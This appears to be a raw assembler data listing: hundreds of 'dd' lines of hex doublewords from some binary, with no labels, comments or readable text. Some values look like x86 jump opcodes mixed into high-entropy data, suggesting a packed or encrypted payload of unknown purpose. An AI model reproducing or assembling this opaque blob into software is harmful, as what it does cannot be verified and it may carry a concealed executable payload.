		dd 0B5398D0Ch, 0CF781F1h, 0F285B48h, 0F57C8B7h,	58Dh, 27C6B800h
		dd 38F058Dh, 0E902EB83h, 0Fh, 524181C7h, 0B68BB95Ah, 0A2A10AD5h
		dd 4B2E8F7Bh, 0F4AF84Bh, 0FFFFA785h, 816660FFh,	616657F6h
		dd 10E8h, 299CD100h, 0C3CA593Eh, 0B6EED83h, 0F47F6B9Ch
		dd 11B52919h, 59062821h, 0F1BD2B51h, 5F062807h,	6772C181h
		dd 0FC8A0000h, 2B50C033h, 282D9DB5h, 148B5B06h,	34C28101h
		dd 291D7701h, 28150D95h, 2AC28106h, 23499B7Fh, 281F099Dh
		dd 5EEA8106h, 0E85C5D29h, 5, 0EF1DDA29h, 0C5B52B7Dh, 5E062819h
		dd 0E9011489h, 0Ah, 4EBBAC65h, 0B934B9BDh, 0F08B36DDh
		dd 86B0E881h, 89570D03h, 28168D9Dh, 0C0815E06h,	0D0386ACh
		dd 0E921B560h, 0Ah, 0CF3DA62Dh,	0DDCFCC9h, 816137ABh, 0FF9934F8h
		dd 87850FFFh, 42FFFFFFh, 6A234ACh, 7AA27C24h, 0F33BB37Dh
		dd 21801837h, 9083B42Ah, 0DD6F3025h, 0A7863025h, 3A8A6598h
		dd 8D893023h, 848630ADh, 4CAB8DA6h, 2E86360Dh, 90864BA1h
		dd 6D03F625h, 6A801828h, 128634CDh, 4B517025h, 0C00D608Dh
		dd 420D3401h, 25A274ACh, 0C533CF7Dh, 0C5801829h, 0FE968A0h
		dd 9956CF23h, 2C03F6D5h, 0CA801828h, 0DFF7FC4Dh, 5B2B1E1h
		dd 0FC5996A9h, 46AB85DAh, 0A10B360Dh, 14AD5F7Dh, 0F10DE0DAh
		dd 8486209Ch, 428ED925h, 2E203025h, 90863EA0h, 818D7925h
		dd 0DB76B52Ah, 1F6FCFDAh, 84863025h, 0ACC95EB8h, 42838823h
		dd 0C2793025h, 7CA88DA8h, 0C50B360Bh, 22A8DCD0h, 22A3229Dh
		dd 42491BA3h, 6A234ACh,	7AA27C24h, 0F33BB37Dh, 21801837h
		dd 9083B42Ah, 0DD6F3025h, 0A7863025h, 0E9836598h, 0B9A4F305h
		dd 22h,	32E9h, 22227A00h, 1, 0Ah dup(0)
		dd 0E9000000h, 8EBh, 45C2B889h,	0F8757341h, 0A92628F4h
		dd 60DDD3A5h, 14918F5Ch, 0A7744511h, 59282CA9h,	13DEE25Fh
		dd 0C0909411h, 932349C6h, 5D7EEF2Dh, 6CB68979h,	0AA697448h
		dd 0DDACFAF4h, 804B7DE3h, 0A0AFEA7Eh, 7F73937Dh, 5C56254Bh
		dd 7DE34F37h, 7F73935Fh, 0AD8317D9h, 2866E3DDh,	0CC383202h
		dd 7393B666h, 6C00C27Fh, 42AED7AAh, 5BB219DCh, 0E147A775h
		dd 795BB33Bh, 8BE77B3Dh, 23F0A4C9h, 0D4A4A825h,	78486EDAh
		dd 0DD71597Eh, 96906014h, 3B35042Ah, 0D19A2E16h, 2DB36C0Ah
		dd 0CEC8975Dh, 4DADEB68h, 5BB331E7h, 0ED814379h, 594F5920h
		dd 835DC1h, 0E08A0000h,	83A91513h, 0DF93B8B6h, 5ED1214h
		dd 0A39D6D9Fh, 3902967Eh, 95BAB885h, 2BFA20CEh,	0E49D9D31h
		dd 1693915Eh, 312B5E1Bh, 5358BBh, 8CB00000h, 0C1C68D90h
		dd 548F239Eh, 0F01513E0h, 9C3CA202h, 987F7393h,	0E92C42D6h
		dd 117F7393h, 6F234842h, 0D082A79Dh, 3064FBCAh,	0CD6BB05Fh
		dd 0C3C18E14h, 0D50B69Eh, 92F2B26Bh, 73A8EC2Ch,	32C6887Fh
		dd 19C78F5Ch, 0D096B369h, 2E35B218h, 17h, 1513E035h, 93DAFCF0h
		dd 4DAF7F73h, 77410E94h, 0A088ADA7h, 0F454BD3Ah, 32980421h
		dd 755B8437h, 0BE729759h, 8C5624F2h, 0F359BFC1h, 0A4A67276h
		dd 0E70CDF7Fh, 0B7FE157Bh, 0D6987373h, 9851E5B1h, 0C7444612h
		dd 5E29F7C3h, 648AF65Ch, 3B049896h, 23AF6147h, 0CC85E973h
		dd 0FB787A46h, 0FE1BF492h, 9FFFED67h, 7393E339h, 3FD3957Fh
		dd 0B580A604h, 79491FB3h, 93C51379h, 0E16F7F73h, 7EF1416h
		dd 95A43BA1h, 0B180A62Ch, 335623B7h, 83BE3123h,	36h, 0A167B7DBh
		dd 4F86F395h, 1BF480BBh, 9A6C92FEh, 3977FA4h, 9840A6C8h
		dd 9C7F7393h, 80A643DAh, 0DC90B5B3h, 14A80E10h,	14E07904h
		dd 6A577B12h, 35DDh, 1BF4E400h,	934A92F8h, 60EE7F73h, 856D9294h
		dd 0A622B91Fh, 9338E046h, 0F2C27F73h, 0E2B240F8h, 75DBC3E8h
		dd 0AD6BD1E1h, 0D67F7393h, 1BA65FF6h, 7B1214E0h, 80A66A57h
		dd 4E24B8AEh, 6B5F847Eh, 7F77123Bh, 3D0B31B9h, 0F2ABAB3Fh
		dd 3E400C32h, 0A04D4AAh, 0DEAC789Eh, 88AD1311h,	0E7EB0CA0h
		dd 43F71C1Ah, 0E3DDAC76h, 0B7B00CBEh, 870B8DE6h, 894FB521h
		dd 0AB7F77CCh, 975E83E9h, 8F6EC5E9h, 858F079Ah,	7838F1F1h
		dd 0F1BC8252h, 7CE2CAEFh, 474512E8h, 3BAACFCAh,	540CBB35h
		dd 64000000h, 0DD71733Eh, 0B080A6A2h, 15A991B6h, 50756F3Fh
		dd 1EDE0262h, 0FC2A2C7Ah, 1CC41486h, 0AE707F73h, 6085581Ah
		dd 33578EF4h, 2FF1755Bh, 888A560Ah, 0E7DDAF63h,	0A962F6C2h
		dd 0EB0F97EFh, 0B9ADE377h, 2525B971h, 6388AC6Ch, 0C3FBFB6Eh
		dd 19E9BF53h, 0E039A21Fh, 51F11610h, 83E9557Eh,	755B8E2Ch
		dd 0CCC3292h, 28795B96h, 0E876D266h, 1CE91B1Dh,	264CB81Eh
		dd 4B33585Ah, 0C29296B7h, 67365CC8h, 2E96486Dh,	0D9733C2Ch
		dd 0E9B5E74Dh, 46DAC2E7h, 0CAB4897Dh, 7A4CFDCDh, 0DFAB5F84h
		dd 0DFDDABDDh, 3B3906BAh, 50E42E16h, 0D85DD97h,	38FECE54h
		dd 6C3E7066h, 8F931076h, 29C8FBBFh, 0D53B9F7Ch,	0FDE50A08h
		dd 6C0C3197h, 0AA107C99h, 0FFC0F577h, 61CA4709h, 67FE1BF4h
		dd 0B5B380A6h, 54BDDE90h, 3CCE664Dh, 8B7942D6h,	0ECCF6067h
		dd 3A6C2C74h, 9DD86C6Eh, 7F1610E0h, 0A0E92C95h,	16BE3123h
		dd 25h,	0FE1BF443h, 0C29A6E92h,	6AB08ED0h, 40A69BD6h, 7F739398h
		dd 0A643DA9Ch, 1214E01Bh, 0DD6A577Bh, 28h, 0FE1BF4E4h
		dd 9840A667h, 0AB7F7393h, 1BA634CBh, 0A61214E0h, 9338E046h
		dd 22887F73h, 7F7393FAh, 4204BC7Eh, 6A5773AEh, 0F11610E0h
		dd 771249FDh, 0A5A3717Fh, 0FECC80h, 0EFC1F3DBh,	6F0DD4F9h
		dd 1CA4FCB6h, 0AA7D92F8h, 6CB2E2D8h, 0BCBC50AFh, 0B3AD7D03h
		dd 9B653236h, 0C5ADD2CCh, 17E46195h, 6AD0A976h,	0C6C49145h
		dd 833CDAA1h, 0D1CF9DC3h, 5A30C4ACh, 0D4128F8Dh, 50E4DEAEh
		dd 35F1F683h, 0A9769CBBh, 5C993FA5h, 0D99B7F77h, 51F3DF73h
		dd 20000000h, 38E046A6h, 3C7F7393h, 4010E67Ah, 16E5AB7Ah
		dd 0A991B61Ch, 0D0301E43h, 6EE0DAAAh, 7F7393AEh, 0BCD808CAh
		dd 539972C1h, 6A3DFF93h, 1D7DDD49h, 73A461B7h, 0E551137Fh
		dd 73A4597Fh, 8519DB7Fh, 5B83AC6Fh, 0E70CCE75h,	56DC950Dh
		dd 0A60F8C86h, 0B5B380A6h, 95BAB483h, 734319ADh, 40665479h
		dd 0DFE1AC6Eh, 5023E579h, 0DA61C733h, 1C755B92h, 7B9FDD5Ah
		dd 796FDBD5h, 5DB5B3B9h, 791489B9h, 0F4478216h,	0A667FE1Bh
		dd 24B8AE80h, 0B1496D5Bh, 1D025F92h, 406D204h, 2863F7DFh
		dd 0AA1610E0h, 24B8B684h, 0E92C95E9h, 0BE3123A0h, 36FCCCF2h
		dd 72066C66h, 4086h, 80A6B300h,	6022B6B0h, 0A6D36A87h
		dd 9338E046h, 7A3C7F73h, 5076D6E6h, 7A628781h, 9308D0E6h
		dd 6A2C7F73h, 0E01BA6D3h, 577B1214h, 0A2A46F95h, 0B65957Dh
		dd 55E83D90h, 0DD1B56EAh, 55h, 0B080A6E4h, 15A991B6h, 0F15D7A53h
		dd 93ED2B91h, 0C5877F73h, 40A6F631h, 7F739398h,	0FA2288E8h
		dd 0CA7F7393h, 7393B464h, 46FEC07Fh, 85EBEDB8h,	2DC4A4F1h
		dd 542046A6h, 0B1452D52h, 1214E076h, 0E046A67Bh, 7F739338h
		dd 41F9F3C2h, 0C0E5E7B3h, 7FDE72D8h, 1610E092h,	1249FDF1h
		dd 0A6717F77h, 11E0389Eh, 0D2947F77h, 0C193476Ch, 8AF4A6CBh
		dd 7EEC9CE1h, 0CD861A64h, 0D333BB13h, 7767AF6Dh, 81834F7Fh
		dd 0FABC745Ch, 27AD6666h, 0DCE05D57h, 4DED120Ch, 87ED597Ah
		dd 755F7538h, 92FB783Ah, 60321BF4h, 0ED6D046Ah,	1610E0D4h
		dd 0F757957Fh, 73934B91h, 972BED7Fh, 23A0E95Ch,	5C16BE31h
		dd 6E000000h, 1E18E80Eh, 799F11F9h, 0FB7C7393h,	80A59B6Dh
		dd 639E3298h, 2341BF4h,	0FE5EB4ACh, 0A665FC62h,	5880E646h
		dd 0DC7F7393h, 0A870861Ah, 0CC7F7393h, 1BA6730Ah, 0B3B580A6h
		dd 757D491Fh, 7393C90Fh, 43A96B7Fh, 0DD6A57ACh,	40h, 13B9EB0Fh
		dd 1B5CC36Bh, 0FB201AE9h, 0F4447F13h, 6466321Bh, 85EB573Fh
		dd 7F739357h, 4DB91FE1h, 365B5927h, 933AE248h, 7C3E7F73h
		dd 0A6478216h, 73939840h, 34CBAB7Fh, 14E01BA6h,	6A577B12h
		dd 0F11610E0h, 771249FDh, 1AD34B7Fh, 2492365Ah,	371E6128h
		dd 39FDCDA3h, 2F4FFEA1h, 885587F2h, 177D658Ah, 0CCC6969Ah
		dd 0F3407A7h, 0DE423DA3h, 50B0755Fh, 385D5F2Ah,	363EDE50h
		dd 783A795Fh, 49C688E4h, 0B380A6E0h, 0F71C1EE9h, 5315A90Fh
		dd 0EDC65D7Ah, 1610E0D4h, 0B9B784AAh, 2C95EA25h, 3123A0E9h
		dd 0FCCCF2BEh, 4A826E02h, 0AF000000h, 92FE1BF4h, 799EA06Ch
		dd 0ADF96191h, 9D78B907h, 40A6CE09h, 7F739398h,	0A643DA9Ch
		dd 5880E646h, 627F7393h, 8C749993h, 437E12D4h, 0B3B580A6h
		dd 65012F83h, 0FD91A491h, 0ED595B27h, 6BFFF5C7h, 0DD6A5730h
		dd 28h,	0B180A6E4h, 0B9B785B7h,	6D8A6325h, 0E646A6D6h
		dd 73935880h, 861ADC7Fh, 7393A870h, 64FBDB7Fh, 14E01BA6h
		dd 6A577B12h, 0B6B080A6h, 3F15A991h, 0B050756Fh, 0E64CB8DDh
		dd 755B927Fh, 0FC3AB779h, 770B09D6h, 55C1E2B5h,	93498FF5h
		dd 5DEB795Bh, 866E938Dh, 1C7C8C20h, 938656BCh, 0EAB2795Bh
		dd 5B935484h, 0B81EE079h, 0E62A0E24h, 0C04E730Ah, 0E5CDF2F4h
		dd 466C5A7Fh, 6C54797Bh, 383202D8h, 0EDE7B7BBh,	102DD4C8h
		dd 2FA77816h, 5A20F076h, 81698E8Ch, 609E1Bh, 1050429Ah
		dd 0A034F66Ch
		dd 0DB00FACAh, 0F1278DEDh, 0B6C1050h, 83CC4B98h, 0E3A55D56h
		dd 8FCB1177h, 0AB6D6C10h, 796F4117h, 3BF48854h,	8A88557Bh
		dd 565020F6h, 0B05D5D9h, 132FE6h, 0A6360000h, 456C0D82h
		dd 22B662DCh, 0E0ABD1F3h, 3DD1B9DEh, 190FE002h,	767040F4h
		dd 0D0D29D51h, 2E28F7ABh, 8A885509h, 0E6E4B165h, 453B0DC1h
		dd 9EA06C20h, 0F9F7C579h, 0AF68FFD4h, 89000049h, 3868241Ch
		dd 89000040h, 92682434h, 89000069h, 0EC81243Ch,	4, 68240C89h
		dd 322D0B91h, 3AE98159h, 892BFE1Eh, 216859CEh, 89000048h
		dd 4812424h, 424h, 0BC685F00h, 89000052h, 34812434h, 72218824h
		dd 8478F1Eh, 88087781h,	8B1E7221h, 8950243Ch, 405E0h, 4050000h
		dd 87000000h, 0FF5C2404h, 815E2434h, 4C4h, 89A3E900h, 7E32FFF9h
		dd 0BABE2B04h, 0B8E165B8h, 62EF5BDh, 0E0FFC503h, 69949833h
		dd 45489567h, 1D415957h, 69C83EE0h, 6CD8C019h, 0EB017F3h
		dd 0E577D4Fh, 2E1DB771h, 75C88E62h, 29BD1C03h, 2FFCEF8Dh
		dd 33DBC909h, 4B35AC18h, 22C10D8Ch, 49111548h, 33C75B4Ah
		dd 292509DEh, 3208A5B6h, 5C99B922h, 8E8h, 45A5D500h, 4CC9FFFFh
		dd 0B35FFC00h, 0C8C78160h, 8100005Eh, 0EB9929D3h, 6829h
		dd 0C6800000h, 8BF55EBFh, 0F0813704h, 3D9575E2h, 9ED1B966h
		dd 0A23DF081h, 840F6983h, 3, 81BCE780h,	848353E8h, 67B96661h
		dd 3704897Ch, 0E8DE8B66h, 10h, 44D69403h, 3F35FB5Ah, 0B6A91539h
		dd 8953158Bh, 835B61B2h, 0D88B04EEh, 0A1D4FE81h, 850FFFFFh
		dd 12h,	22E9EB8Ah, 6A000000h, 0B7DBA78Fh, 0B96A50D1h, 0FB77C7Bh
		dd 0FFFF92E9h, 1B84A4FFh, 7A5A9D64h, 0B0F6E785h, 59AE92BCh
		dd 128D8D1Ah, 6A062EF8h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 666EC356h, 0BC0D681h
		dd 7158D89h, 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 1A1397C3h, 71046CF9h, 69952989h
		dd 0C706282Eh, 2821BD85h, 666806h, 4DEB8100h, 0C71BF9E1h
		dd 28113D85h, 6, 0D8816600h, 0B5FF9ABBh, 6281321h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 5AC35040h, 0F98501C2h
		dd 0FF062821h, 2814D995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9E9BB3Fh, 0B000000h
		dd 0C44A2EF2h, 0A8358A88h, 95FF006Ah, 6280465h,	29EBC08Bh
		dd 0DBD7CA15h, 22E07A47h, 0D6C10AF5h, 3E3D4F6Fh, 0F630B205h
		dd 0CEB098BBh, 6185249Bh, 0BFD1EC22h, 44EB15F3h, 0E4BA12D9h
		dd 0FE80Ch, 336F0000h, 770D701Eh, 0E12627DBh, 36CDCFh
		dd 0CE998h, 0FA8A0000h,	7A99F704h, 0C4500B42h, 515BC8DEh
		dd 0F4C38159h, 6600006Ch, 0BE162EBAh, 32B61262h, 899F681h
		dd 0D6B432B6h, 0E95233FFh, 10h,	0CA28B11Ah, 0AE1985CCh
		dd 18160696h, 959BE513h, 800F5F5Ah, 6, 0D498D29h, 0F7810628h
		dd 23A01506h, 14E9h, 0D1114300h, 5078206Ah, 702604CBh
		dd 6961DAE5h, 0CFCD5E61h, 0AEC78159h, 0E955F425h, 11h
		dd 0AE8B310Eh, 0F894FD70h, 3FDCC686h, 1DEF3D06h, 45EF8112h
		dd 8B7379C6h, 280CBD95h, 573B8906h, 0FE8h, 0E6E05E00h
		dd 98AAD1D1h, 0F60973A9h, 77442952h, 5932DC80h,	2EB835Ah
		dd 18F98589h, 4B4B0628h, 0E3D8589h, 0F4E0628h, 1A85h, 0B1952300h
		dd 0E9062804h, 26h, 2C2DBBE1h, 2E14FDF0h, 0FE24FEF4h, 80C39AD4h
		dd 3DE9FEE4h, 0B0FFFFFFh, 0F9C0F70h, 4DAF5C08h,	0E34D15E5h
		dd 1BE9CA79h, 6D000000h, 53C64Bh, 5 dup(0)
		dd 0C3E90000h, 6A000005h, 2226A399h, 0D5D95654h, 868A0709h
		dd 3D41BEB4h, 0F2F57270h, 8A8855A4h, 403A090Dh,	0F2F4BFC3h
		dd 0A7A17175h, 0E74042Ah, 795D6ACEh, 0E022976Ah, 84AA1610h
		dd 0AF97BCB2h, 0D19E521Bh, 825256D3h, 0DFAF6388h, 3E0CC0E5h
		dd 0DDAA874h, 0D743A90Fh, 50E4E6B1h, 7C35AD87h,	0AF2C26F6h
		dd 72DEE0ABh, 0E3B57F4Ch, 7A6287EDh, 0F6C1C5E6h, 0BDE1CFF4h
		dd 3B8BD00h, 1BF1852Bh,	5E43884Ch, 3546FD5Bh, 0D3036967h
		dd 477D6C67h, 4065CBBCh, 0A127E074h, 1957D4D6h,	942826F3h
		dd 88EEEEBEh, 7F735550h, 3ECC286Ch, 581052B4h, 1D0B3096h
		dd 9B2F25F7h, 73B35285h, 0D18A867Fh, 314F2554h,	8591BBh
		dd 89E90000h, 73BFF523h, 54F37F7Fh, 0AA45E067h,	8EC95DC3h
		dd 9E4C10E0h, 4696FC4Ch, 0F27F73BDh, 0E9C20030h, 0C7BBE046h
		dd 7F733A17h, 5212CBC7h, 3A4C8CF2h, 26E87F73h, 3A8454BAh
		dd 0EEB07F73h, 0D8EC8D5Ah, 0ACABB31h, 22000000h, 3A5E00FEh
		dd 9D31FF5Bh, 1412E062h, 696D3BEFh, 7393D503h, 31975F7Fh
		dd 7F7393EBh, 0FF65CB8Dh, 925426DAh, 3F64CAC0h,	0AE34ED65h
		dd 6165E2E0h, 0D1BDCD91h, 0CA2F546Bh, 0A67EE764h, 9338E046h
		dd 0F2C27F73h, 33EBD3F8h, 3A07DD71h, 0DEAAD03Ch, 0CB7F48DCh
		dd 13DAFFFDh, 6936BC75h, 0AFD4D29Fh, 0E0E461C7h, 4AAA1610h
		dd 0CBAEBF26h, 0A2146B9Ah, 7F73B47Ah, 8D036FEh,	2C7F73B4h
		dd 3298046Ah, 7F73B4EAh, 6F38CC8Eh, 0C8EDEFBBh,	21464814h
		dd 80A59B6Dh, 0C57F389Ch, 0D8550E54h, 0BB3154B1h, 7B05h
		dd 13E03200h, 0B4111E4Bh, 95B7E7E9h, 668BF1B1h,	0BFE4E6B2h
		dd 1C413B0Bh, 7BA09668h, 0C17B3496h, 0B238F169h, 2C6AE7E5h
		dd 13383A06h, 302AF92Bh, 0B98F230Bh, 15C9EEECh,	35284D43h
		dd 0D0B936EFh, 0E6BB31E6h, 80h,	4A4C183Eh, 6BD13D25h, 7F7350ADh
		dd 367105C7h, 0F01513E0h, 9C3CA202h, 987F7393h,	0A16C42D6h
		dd 33957A9Fh, 0F45ABA7Ah, 7F739324h, 24FA8E50h,	73DC5957h
		dd 38E046A6h, 3C7F7393h, 0BEE3E1AEh, 9E0470D6h,	7F73937Eh
		dd 0CEA438FAh, 70960200h, 0E3399FA3h, 957F7393h, 60486DD3h
		dd 0EF1503CCh, 23EF2123h, 0A4778D21h, 787F7393h, 7B79466Ch
		dd 0DADA6E56h, 2FD5A421h, 1E1BB31h, 0E000000h, 0ED1214E0h
		dd 3AA56939h, 12514EAEh, 53B9BB87h, 68FCC8EDh, 8F5D29AFh
		dd 0EA9EC3C1h, 51B71D1Fh, 0D03696D4h, 7F73C308h, 0C3CA1278h
		dd 0AC6E7F73h, 0DC9E32F4h, 1A80EC09h, 755BDCCFh, 0D68AAF71h
		dd 0A3E74206h, 74AE1A1Bh, 0BD8D910Eh, 653157C3h, 0C2563E63h
		dd 7ED105F9h, 56B8795Bh, 8147179Dh, 0E44AB6B4h,	795B7E34h
		dd 9B187E40h, 0A8CDC797h, 0BE2424F4h, 795B7E1Eh, 0CDF2581Ah
		dd 0EFAF6806h, 0D8FDFBC9h, 0B6865CF0h, 35443FBCh, 81C15A1Ch
		dd 19Bh, 421F4AEh, 40123898h, 50B6AC7Eh, 1D73D2Bh, 337F7393h
		dd 61770B71h, 755B5ECEh, 9A82A430h, 21464412h, 0BFEA0939h
		dd 486EDA40h, 71597E78h, 0C62614DDh, 20D80066h,	9A5C795Bh
		dd 5B20F028h, 2EC28479h, 118E8858h, 0A5773D0Dh,	369C8AAFh
		dd 795B20E6h, 46AD092h,	0A5A77298h, 0C4944811h,	30DEA5CAh
		dd 1D42380Ah, 36380335h, 29E9A2A2h, 20B563C9h, 0FDBF795Bh
		dd 0C9C39369h, 0E228514Ch, 4D8EC159h, 0BB000000h, 96021FF4h
		dd 7393C830h, 7EEAACFFh, 9360B81Eh, 5214FF73h, 0DB01F5BEh
		dd 0E3FF7393h, 3EF21715h, 974B7072h, 0BFA7CCCAh, 9D23DC7Ah
		dd 769CFD1h, 0A378EAA3h, 4CAC127Eh, 287F7393h, 67CDCF9Ah
		dd 0B786ACEAh, 0C85029BDh, 57000000h, 0A93A21F4h, 229159BDh
		dd 759B479Fh, 0B91FAE23h, 97BCBA87h, 77DD49AFh,	755B7AA4h
		dd 3BEF14D6h, 4D84A76Bh, 52BCF618h, 0F2584E20h,	41113775h
		dd 0A16E2247h, 30967EA3h, 0F6F6C69Ch, 5B3D4890h, 0A4A67279h
		dd 1DDF977Fh, 58254BB7h, 0B94D355Ah, 3CC7FCF0h,	50B2795Bh
		dd 50B3D797h, 0B57C64C3h, 1AEAC054h, 0E0B3A320h, 4D3357C3h
		dd 0D62E6757h, 9E0414A8h, 730A25CCh, 0D3C1E6A8h, 4DE1DFADh
		dd 41ADA777h, 1A874B1Bh, 929B32A8h, 4E17AB11h, 808C89Ah
		dd 0ACE7960Eh, 1ED2F75Dh, 30E84E4Eh, 44732455h,	2BF71C82h
		dd 0DA24DE97h, 46401036h, 87F9B2B2h, 0BD238FB4h, 79755CADh
		dd 2022ED13h, 237F13FBh, 0F47BE461h, 4098FE21h,	0F47F7393h
		dd 34320032h, 0DC0262CEh, 657B0F11h, 75229A05h,	0D488AD6Fh
		dd 898D0A04h, 0AC9ABFB9h, 96BBB986h, 0F3041AAEh, 0E1CCB227h
		dd 5A2AB069h, 0FDFE360h, 0DC02F015h, 0A87E120Ch, 0EFBBE0D6h
		dd 4C1CA25Bh, 87B9BB86h, 0B098BDB7h, 0F9C9CD4Ah, 0C23DAFFh
		dd 2A000000h, 3DAE82A6h, 0FBA325E4h, 0E0EB3867h, 40F4190Fh
		dd 9D517670h, 0F7ABD0D2h, 55092E28h, 0B1658A88h, 0DC1E6E4h
		dd 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h, 81E78957h, 4C7h
		dd 4B95100h, 29000000h,	3C8759CFh, 89525C24h, 4C281E2h
		dd 83000000h, 148704EAh, 3C895C24h, 13F6824h, 4890000h
		dd 52B85024h, 5533067Ch, 400A21BDh, 0E7F58142h,	8127C41Dh
		dd 36165CF5h, 5DE83107h, 8584522Dh, 58C7894Bh, 4EC81h
		dd 24890000h, 24048124h, 4, 0FD895558h,	8BA52h,	0C2010000h
		dd 5D5A2A89h, 582434FFh, 0FF04C483h, 815F2434h,	4C4h, 80A7E900h
		dd 986EFFF9h, 0ABB8E5EDh, 3062EFEh, 25E0FFC5h, 0C405D00h
		dd 353BA084h, 9A2496E8h, 0BA2F1A22h, 5C0AC27Dh,	2163617Bh
		dd 726770ECh, 4D6B238Eh, 8A625302h, 58255B8Ah, 6E0758CFh
		dd 0C81C952Fh, 3F1F390Bh, 525956AEh, 0F83956C4h, 2445CB17h
		dd 60A805h, 46306325h, 0E9099D7Fh, 33h,	6CFCB985h, 0Bh dup(0)
		dd 0E9000000h, 54Eh, 0D14E4415h, 8401FFCDh, 35B2B480h
		dd 0EC695F31h, 0A01D1BE8h, 3300F19Dh, 0E5B4B835h, 9F6A6EEBh
		dd 4C1C209Dh, 1FAFD552h, 5D6C63B9h, 0CD421579h,	0AA1010E0h
		dd 7F739372h, 0B9DE4406h, 0BD3A3805h, 0CAEFE9B9h, 274C4616h
		dd 7B471339h, 4772B5C2h, 0D3FA54Eh, 0D5AB3F41h,	0AE40907h
		dd 8353D992h, 3D080C89h, 0EFBABE3Bh, 4514C8EDh,	0C65A264Bh
		dd 0BABC870Dh, 6F69393Dh, 8C83564Ah, 5B577F73h,	4E5425A2h
		dd 183EBB31h, 3F274C4Ah, 6CBFABh, 0E0EC0000h, 0FDF11610h
		dd 7F7393D9h, 0F4190FE1h, 42747240h, 7B557A70h,	7A904A03h
		dd 3148C57Eh, 85BB312Fh, 0Ah, 0DD91B9DDh, 0F548911Fh, 12E02661h
		dd 6D3BEF14h, 365C4A6Fh, 1D76B69h, 510F332Fh, 16400BC0h
		dd 0EF6CAC1Eh, 0C18E7F73h, 0DD490BC3h, 73EFA177h, 0AB11D37Fh
		dd 7B34AC86h, 0AC2927F5h, 7C7A486Eh, 484212E8h,	13E062CBh
		dd 0E349A915h, 7F739335h, 20E97D3Fh, 1F030E32h,	0ED27F55Bh
		dd 8F517F73h, 7310F5Fh,	0D1CF9D73h, 8E47E5ACh, 0DFD9A8CEh
		dd 0AAA8754Bh, 4848183Eh, 73D83AE2h, 167C3E7Fh,	5D709F1h
		dd 565A7B0Fh, 0F8208686h, 7C7F73D8h, 88E854BAh,	73D8FA22h
		dd 28BC7E7Fh, 0DDDFAB5Fh, 7D7F4B71h, 9E047058h,	7F73D87Eh
		dd 0DBA438FAh, 6CE9A2E8h, 0BB31781Dh, 6699h, 46A6C600h
		dd 739338E0h, 0E67A3C7Fh, 20454310h, 799EA06Ch,	0E86E279Fh
		dd 9CA01D1Bh, 0BEACD1CFh, 38CCCA98h, 759A9062h,	0D1F6F4C1h
		dd 30554B1Dh, 8BB0AE7Ch, 1AD34BA3h, 0F0A9EF60h,	312D1673h
		dd 3FA0BBh, 0E0CD0000h,	3CF01513h, 0DF036F71h, 436C6EE0h
		dd 40099D60h, 0BA40F95Bh, 5D83EFEDh, 846C918Fh,	0E066CFF0h
		dd 0FBEF1412h, 7F7393D8h, 0CA4700FCh, 0BB3130AFh, 807h
		dd 67395F00h, 0D0644C71h, 1214E095h, 0B3B580A6h, 4912A68Eh
		dd 33FFC595h, 0DAA6CB31h, 0A7CD8D46h, 5B9DED8h,	2B13383Ah
		dd 8F5B31C5h, 0BA150AC3h, 0BC287AA4h, 73998656h, 8AF0B27Fh
		dd 294A1D0Dh, 868C57BDh, 0ECAE755Bh, 7D4313C7h,	0D04DB3ADh
		dd 9602FCCCh, 8208D036h, 6A2C795Bh, 0C5190DD6h,	0FD795B82h
		dd 5A0E332Dh, 886D9288h, 50B36D26h, 0DFAF35EEh,	946468E5h
		dd 0F1C1759Ah, 6D0BD2F7h, 0FECEF4B4h, 0CA9A7004h, 82B464CAh
		dd 0A60C795Bh, 795B8276h, 0C6884002h, 9606E496h, 2A902EB4h
		dd 77496FADh, 0E0745C81h, 59956613h, 38062CC1h,	6062CE70h
		dd 90F62912h, 14210FCh,	0A63D0000h, 2AFF1882h, 0B549CC53h
		dd 970320F3h, 230BD137h, 13797F73h, 7F7323C5h, 33F5AD6Fh
		dd 86298F9Fh, 0F8755BEEh, 8D5D1136h, 42121693h,	9F6F2348h
		dd 1BB980A5h, 120CDC62h, 0E7B580A6h, 4DB91F15h,	5B7631E7h
		dd 0ED814379h, 82E8ECCh, 0CCC3E38h, 28795B76h, 7405D266h
		dd 42C15A14h, 42h, 21FF46Fh, 93C83096h,	0EAACFF73h, 930BD1C5h
		dd 1F83FF73h, 21FF466h,	93C83096h, 20AC7F73h, 0B1EBDCD3h
		dd 4AC72D5Bh, 9646AC0Ch, 287F73AAh, 0E0A25A5Ch,	0A6734Ch
		dd 7FA50000h, 0A991B6B0h, 80A6DA15h, 6224B8AEh,	94FA668Fh
		dd 755BB441h, 65C531F3h, 5B8CD9FFh, 1315E179h, 8C4E06EEh
		dd 6C918B5Ah, 7327F084h, 0D7FCDFA3h, 91B89710h,	0F95FBF2Bh
		dd 795B5723h, 0DEFF9355h, 0A4100ADAh, 1AE9AF7Eh, 0AD95BA20h
		dd 3C625019h, 0C5DB6F71h, 795B560Ch, 0DA60197Bh, 0A393100Ah
		dd 0E747B3D0h, 0C1F3F5C1h, 0E7CFF4F6h, 56E83D53h, 480A730Ah
		dd 0A59F6F23h, 49431339h, 8C20ECB5h, 21ED13D3h,	2220ED1Fh
		dd 0BF8115FDh, 0FB5BC7ECh, 0E50A08D5h, 0F25369FDh, 6C797556h
		dd 0E4787A46h, 0E049C688h, 38E046A6h, 3C7F7393h, 93CE0E74h
		dd 0A86A7F73h, 19ECAE42h, 0D03090FCh, 7393B26Ah, 6638C67Fh
		dd 0FD634B70h, 93F25369h, 466C7522h, 6D557A78h,	0DC706E3Bh
		dd 0E599BE80h, 89AF1B15h, 0B29ABFB9h, 29F9FD1Eh, 0D19DC32Fh
		dd 2EC2AACFh, 0D6B87165h, 0C23AD7A8h, 0B9B38309h, 0BD8FE3Ch
		dd 6C00E80Dh, 0A7CCC696h, 8F5F21F3h, 0EFBC7095h, 258BF1h
		dd 0CA309034h, 0E712E12h, 0D0D06426h, 0C7C19117h, 4795FB5Bh
		dd 0F10E712Eh, 0BF5DC32Fh, 0B90E712Eh, 44263F7h, 3EDE44A4h
